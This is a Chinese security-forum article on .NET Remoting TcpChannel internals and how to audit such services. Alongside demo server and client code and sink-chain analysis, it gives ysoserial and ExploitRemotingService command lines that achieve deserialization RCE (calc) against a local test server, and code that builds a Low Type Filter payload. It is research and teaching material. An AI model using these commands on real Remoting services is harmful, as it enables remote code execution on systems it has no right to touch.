问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
.Net Remoting 系列一
安全工具
前言:笔者在代码审计时碰到许多以.Net Remoting技术开发的应用如SolarWinds、VeeamBackup、Ivanti等产品,尽管随着 WCF 和 gRPC 等更现代化技术的兴起,.NET Remoting 已逐渐淡出主流,但是依然有其研究的价值,本次主要以TcpChannel为主分析其工作原理、应用场景,后续会通过两个漏洞介绍.Net Remoting在不同场景下的利用姿势和挖掘思路
简介 -- .NET Remoting 是通过通道(Channel)实现不同应用程序域(AppDomain)之间对象通信的技术核心,依赖程序集 **System.Runtime.Remoting.dll** 提供支持。通道负责在进程间或网络上传输序列化后的对象数据,是 Remoting 架构的关键组件。 在 .NET Remoting 中,主要支持以下几种通道类型: 1. **TcpChannel** 位于命名空间 `System.Runtime.Remoting.Channels.Tcp`,提供高效的二进制传输,适合局域网内低延迟、高吞吐的场景。 2. **HttpChannel** 位于命名空间 `System.Runtime.Remoting.Channels.Http`,基于 HTTP 协议传输数据,支持 SOAP 格式化,适合跨防火墙或需要更通用通信协议的应用。 3. **IpcChannel** 位于命名空间 `System.Runtime.Remoting.Channels.Ipc`,基于命名管道(Named Pipe),为同一台机器上的进程间通信提供高效、轻量级的解决方案。 4. **自定义通道(Custom Channel)** 通过实现 `IChannelReceiver`、`IChannel` 和 `ISecurableChannel` 接口,开发者可以设计满足特定需求的自定义通道,例如支持特殊传输协议或安全策略的通信。 通过上述通道类型,.NET Remoting 为分布式应用提供了灵活的通信方式,并允许根据场景需求选择合适的传输层。 .Net Remoting demo ------------------ 以TcpChannel为例写一个服务端(TcpServerChannel)和客户端(TcpClientChannel) ### 远程对象MBR ```php using System; using System.Runtime.Serialization; namespace RemotableServer { [Serializable] public class RemoteObject1 : MarshalByRefObject { private int callCount = 0; public Guid Id { get; private set; } public string Tag { get; private set; } public RemoteObject1(Guid id, string hint, string tag) { this.Id = id; this.Tag = tag; } public RemoteObject1() { } public int GetCount() { Console.WriteLine("GetCount was called."); callCount++; return callCount; } protected RemoteObject1(SerializationInfo info, StreamingContext context) { this.Id = (Guid)info.GetValue("Id", typeof(Guid)); this.Tag = "tag"; } public void GetObjectData(SerializationInfo info, StreamingContext context) { info.AddValue("Id", this.Id); info.AddValue("Tag", this.Tag); } } } ``` ### 服务端 1. Channel Sink Provider(实现IServerChannelSinkProvider)并指定TypeFilterLevel值 2. ChannelServices.RegisterChannel()注册ServerChannel(实现IChannelReceiver, IChannel)可自定义。 3. RemotingConfiguration.RegisterWellKnownServiceType注册ObjectUri以及绑定的对象 ```php using System; using System.Collections; using System.IO; using System.Runtime.Remoting; using System.Runtime.Remoting.Channels; using System.Runtime.Remoting.Channels.Tcp; using System.Runtime.Serialization.Formatters; namespace RemotableServer { class RemoteType : MarshalByRefObject { } internal class Program { public static void Main(string[] args) { BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider() { TypeFilterLevel = TypeFilterLevel.Low }; IDictionary hashtables = new Hashtable(); hashtables["port"] = 9999; String object_uri = "RemotableServer"; TcpServerChannel tcpServerChannel = new TcpServerChannel(hashtables, binary); ChannelServices.RegisterChannel(tcpServerChannel, false); // RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteType), "RemotableServer", WellKnownObjectMode.Singleton); RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteObject1), object_uri, WellKnownObjectMode.Singleton); Console.WriteLine("Server Activated at tcp://localhost:{0}/{1}",hashtables["port"], object_uri); Console.ReadKey(); } } } ``` ### 客户端 客户端调用可通过TcpClientChannel、Activator、TcpChannel等方式调用远程对象 ```php //Activator调用 string serverAddress = "tcp://localhost:9999/RemotableServer"; RemotableServer.RemoteObject1 obj1 = (RemotableServer.RemoteObject1)Activator.GetObject(typeof(RemotableServer.RemoteObject1), serverAddress); Console.WriteLine("get string:\t{0}", obj1.GetCount()); Console.WriteLine("get string:\t{0}", obj1.GetCount()); Console.WriteLine("get string:\t{0}", obj1.GetCount()); //TcpClientChannel TcpClientChannel clientChannel = new TcpClientChannel(); ChannelServices.RegisterChannel(clientChannel); RemotingConfiguration.RegisterWellKnownClientType( typeof(RemotableServer.RemoteObject1), "tcp://localhost:9999/RemotableServer" ); RemotableServer.RemoteObject1 remoteObject1 = new RemotableServer.RemoteObject1(); Console.WriteLine(remoteObject1.GetCount()); // TcpChannel TcpChannel channel = new TcpChannel(); ChannelServices.RegisterChannel(channel, false); RemotableServer.RemoteObject1 remoteObject = (RemotableServer.RemoteObject1)RemotingServices.Connect(typeof(RemotableServer.RemoteObject1), "tcp://localhost:9999/RemotableServer"); Console.WriteLine(remoteObject.GetCount()); ``` 运行效果: ```php >RemotableObjects.exe get string: 1 get string: 2 get string: 3 ``` .Net Remoting 实现 ---------------- 这里大致分析下其代码实现,如果碰上自定义的ServerChannel能够快速理清代码逻辑。 TcpServerChannel和TcpClientChannel分别实现了IChannelReceiver、IChannelSender,首先来看看TcpServerChannel,其构造函数调用SetupChannel方法开启Channel ```php private void SetupChannel() { //是否需要认证 if (this.authSet && !this._secure) { throw new RemotingException(CoreChannel.GetResourceString("Remoting_Tcp_AuthenticationConfigServer")); } //存储远程通道的通道数据。 this._channelData = new ChannelDataStore(null); if (this._port > 0) { this._channelData.ChannelUris = new string[1]; this._channelData.ChannelUris[0] = this.GetChannelUri(); } //sinkprovider为空使用默认的sinkProviderChain if (this._sinkProvider == null) { this._sinkProvider = this.CreateDefaultServerProviderChain(); } CoreChannel.CollectChannelDataFromServerSinkProviders(this._channelData, this._sinkProvider); //配置sinkProviderChain IServerChannelSink nextSink = ChannelServices.CreateServerChannelSinkChain(this._sinkProvider, this); this._transportSink = new TcpServerTransportSink(nextSink, this._impersonate); //监听 this._acceptSocketCallback = new AsyncCallback(this.AcceptSocketCallbackHelper); if (this._port >= 0) { this._tcpListener = new ExclusiveTcpListener(this._bindToAddr, this._port); this.StartListening(null); } } ``` 如上,主要关注Channel Sinks( transport sink->formatter sinks->dispatch sink ),这里引用一张图 ![Pasted image 20240920150422.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-770e4d3af87c6446835e8dd7bc92aed630fbe3bf.png) TcpServerChannel的默认链 `TcpServerTransportSink → BinaryServerFormatterSink → SoapServerFormatterSink → DispatchChannelSink` TcpClientChannel的默认链是`BinaryClientFormatterSink` → `TcpClientTransportSink`,代码如下 ```php private IClientChannelSinkProvider CreateDefaultClientProviderChain() { IClientChannelSinkProvider clientProviderChain = (IClientChannelSinkProvider) new BinaryClientFormatterSinkProvider(); clientProviderChain.Next = (IClientChannelSinkProvider) new TcpClientTransportSinkProvider(this._prop); return clientProviderChain; } ``` 利用[ExploitRemotingService](https://github.com/tyranid/ExploitRemotingService/tree/master)打一遍,调用堆栈如图 ![187124316260468.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2f8d7c6a7f32be141a02f3d3c8137aee2f6462bb.png) 整个调用过程在经过Channel Sinks处理之后最终反序列化RCE,看下大致数据流 ```php //TcpServerTransportSink internal void ServiceRequest(object state) { TcpServerSocketHandler state1 = (TcpServerSocketHandler) state; ITransportHeaders requestHeaders = state1.ReadHeaders(); Stream requestStream = state1.GetRequestStream(); ...... serverProcessing = this._nextSink.ProcessMessage((IServerChannelSinkStack) sinkStack, (IMessage) null, requestHeaders, requestStream, out IMessage _, out responseHeaders, out responseStream); // BinaryServerFormatterSink public ServerProcessing ProcessMessage( IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, out IMessage responseMsg, out ITransportHeaders responseHeaders, out Stream responseStream) { ....... requestMsg = CoreChannel.DeserializeBinaryRequestMessage(str, requestStream, this._strictBinding, this.TypeFilterLevel); // CoreChannel internal static IMessage DeserializeBinaryRequestMessage( string objectUri, Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel) { BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding); binaryFormatter.FilterLevel = securityLevel; CoreChannel.UriHeaderHandler uriHeaderHandler = new CoreChannel.UriHeaderHandler(objectUri); return (IMessage) binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(uriHeaderHandler.HeaderHandler)); } ``` 比较关键的点就是sinkProviderChains以及处理消息的逻辑(ProcessMessage)以及上面未提及到的认证的逻辑(`IAuthorizeRemotingConnection`后面会遇到,这里不展开说了)。 ### 代码审计需要注意什么 总结下从代码审计视角需要注意的问题 1. 注册的Channel类型(搜ChannelServices#RegisterChannelInternal的调用) 2. sinkProviderChains 3. TypeFilterLevel 4. 注册的objecturi(搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal) 5. 处理消息逻辑(`IServerChannelSink#ProcessMessage`的实现) .Net Remoting 利用 ---------------- ### Full Type Filter 最初是由[James Forshaw](https://www.tiraniddo.dev/2014/11/stupid-is-as-stupid-does-when-it-comes.html)发现的,当TypeFilterLevel的值为Full时,参考[Full](https://learn.microsoft.com/en-gb/previous-versions/dotnet/netframework-4.0/5dxse167(v=vs.100))允许`ISerializable`和`MarshalByRefObject`作为参数传递。在[ExploitRemotingService](https://github.com/tyranid/ExploitRemotingService/tree/master)中提供了两种利用方式,一种是直接发送原始数据 ```php ysoserial.exe -g DataSet -f BinaryFormatter -c calc ExploitRemotingService.exe tcp://localhost:9999/RemotableServer raw yso_base64 ``` 还有一种就是[这儿](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)提到的,但是会有文件落地。没有深入调试分析,大致原理见下图 ![Pasted image 20240920170416.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7a0570ca0579b0f4d42e6b444e4f3d3b4e2b14a9.png) 这里不详细介绍了,可以详细读读[该文章](https://www.tiraniddo.dev/2019/10/bypassing-low-type-filter-in-net.html)的前半部分。 ### Low Type Filter 启用**Low Type Filter**之后的绕过方式就是上面提到文章中的后半部分(绕过CAS和MBR类型检查),利用 ```php ExploitRemotingService.exe -uselease -autodir tcp://127.0.0.1:12345/remoteserver exec calc ``` 本地测试之后该工具并不适用于TcpServerChannel只适用于TcpChannel,当然发送raw数据还是可以的。后面翻到James Forshaw文章中提到过 ```php This entire exploit is implemented behind the _uselease_ option. It works in the same way as _useser_ but should work even if the server is running _Low Type Filter_ mode. Of course there's caveats, this only works if the server sets up a bi-direction channel, if it registers a _TcpChannel_ or _IpcChannel_ then that should be fine, but if it just sets up a _TcpServerChannel_ it might not work. Also you still need to know the URI of the server and bypass any authentication requirements. ``` 八月底偶然发现cbwang505师傅写了一个通用的[EXP工具](https://github.com/cbwang505/TcpServerChannelRce),和James Forshaw的绕过方式由很大不同。 前者利用`FileInfo/DirectoryInfo`写入程序集然后直接调用,后者通过`SortedSet`利用链加载程序集间接调用( `XamlReader.Parse` )实现RCE( 无文件落地 ),可参考 [这篇文章](https://bbs.kanxue.com/thread-282934.htm)。 为了测试效果更加直观,原工具的基础上修改了部分代码(PS:默认开启secure),可以看到执行成功后当前AppDomain的程序集多了一个FakeAsm.dll,不足的一点是在调用时需要遍历所有程序集找到这个恶意程序集,应该还有优化的空间。效果: ![Pasted image 20240923170600.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-5017af993e6e38cfd04c03517e27cdfbdcbd3b55.png) ### 总结 现在的应用都会做一些防护措施,即使TypeFilterLevel的值为Full时也不一定能直接利用(比如配置了白名单),这时候就需要关注MBR对象的方法是否存在一些直接可调用的危险方法。 启用Low Type Filter之后呢?虽然会检查CAS和MBR,但是依然能够反序列化一些符合条件的对象,可以以序列化构造函数为跳板找到调用的危险方法。 ![Pasted image 20240924142001.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b3e5e774e35f844e673f12ba32d3fa3f19c1feca.png) 将上面的RemoteObject1类改为实现ISerializable,RemoterServer开启Low Type Filter,构造序列化数据 ```php public static void Main(string[] args) { // low type serial test string[] s = new[] { "aaa" }; RemoteObject1Wrapper payload = new RemoteObject1Wrapper(s); String poc = Convert.ToBase64String((byte[])Serialize(payload)); Console.WriteLine(poc); } [Serializable] public class RemoteObject1Wrapper : ISerializable { private string[] _fakeList; public RemoteObject1Wrapper(string[] _fakeList) { this._fakeList = _fakeList; } public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(RemotableServer.RemoteObject1)); info.AddValue("Id", Guid.NewGuid()); info.AddValue("Tag", "aaaaa"); Console.WriteLine(_fakeList); } } //输出 AAEAAAD/////AQAAAAAAAAAMAgAAAEZSZW1vdGFibGVTZXJ2ZXIsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAdUmVtb3RhYmxlU2VydmVyLlJlbW90ZU9iamVjdDECAAAAAklkA1RhZwMBC1N5c3RlbS5HdWlkAgAAAAT9////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgLgVNlrimbzS73mwXYQSBjyBgQAAAAFYWFhYWEL ``` 打断点,通过ExploitRemotingService发送序列化数据,效果如下 ![Pasted image 20240920183124.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3432f4b422faf0d714de65f3e2d79f256427ae73.png) 可以通过这种方式找找黑白名单中是否有可利用的类。 参考 -- <https://learn.microsoft.com/en-gb/previous-versions/dotnet/netframework-4.0/5dxse167(v=vs.100>) <https://www.tiraniddo.dev/2014/11/stupid-is-as-stupid-does-when-it-comes.html> <https://www.tiraniddo.dev/2019/10/bypassing-low-type-filter-in-net.html> <https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html> [https://bbs.kanxue.com/thread-282934.htm#msg\_header\_h2\_5](https://bbs.kanxue.com/thread-282934.htm#msg_header_h2_5)
发表于 2024-12-24 10:11:20
阅读 ( 526 )
分类:
WEB安全
0 推荐
收藏
0 条评论
请先
登录
后评论
g7shot
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!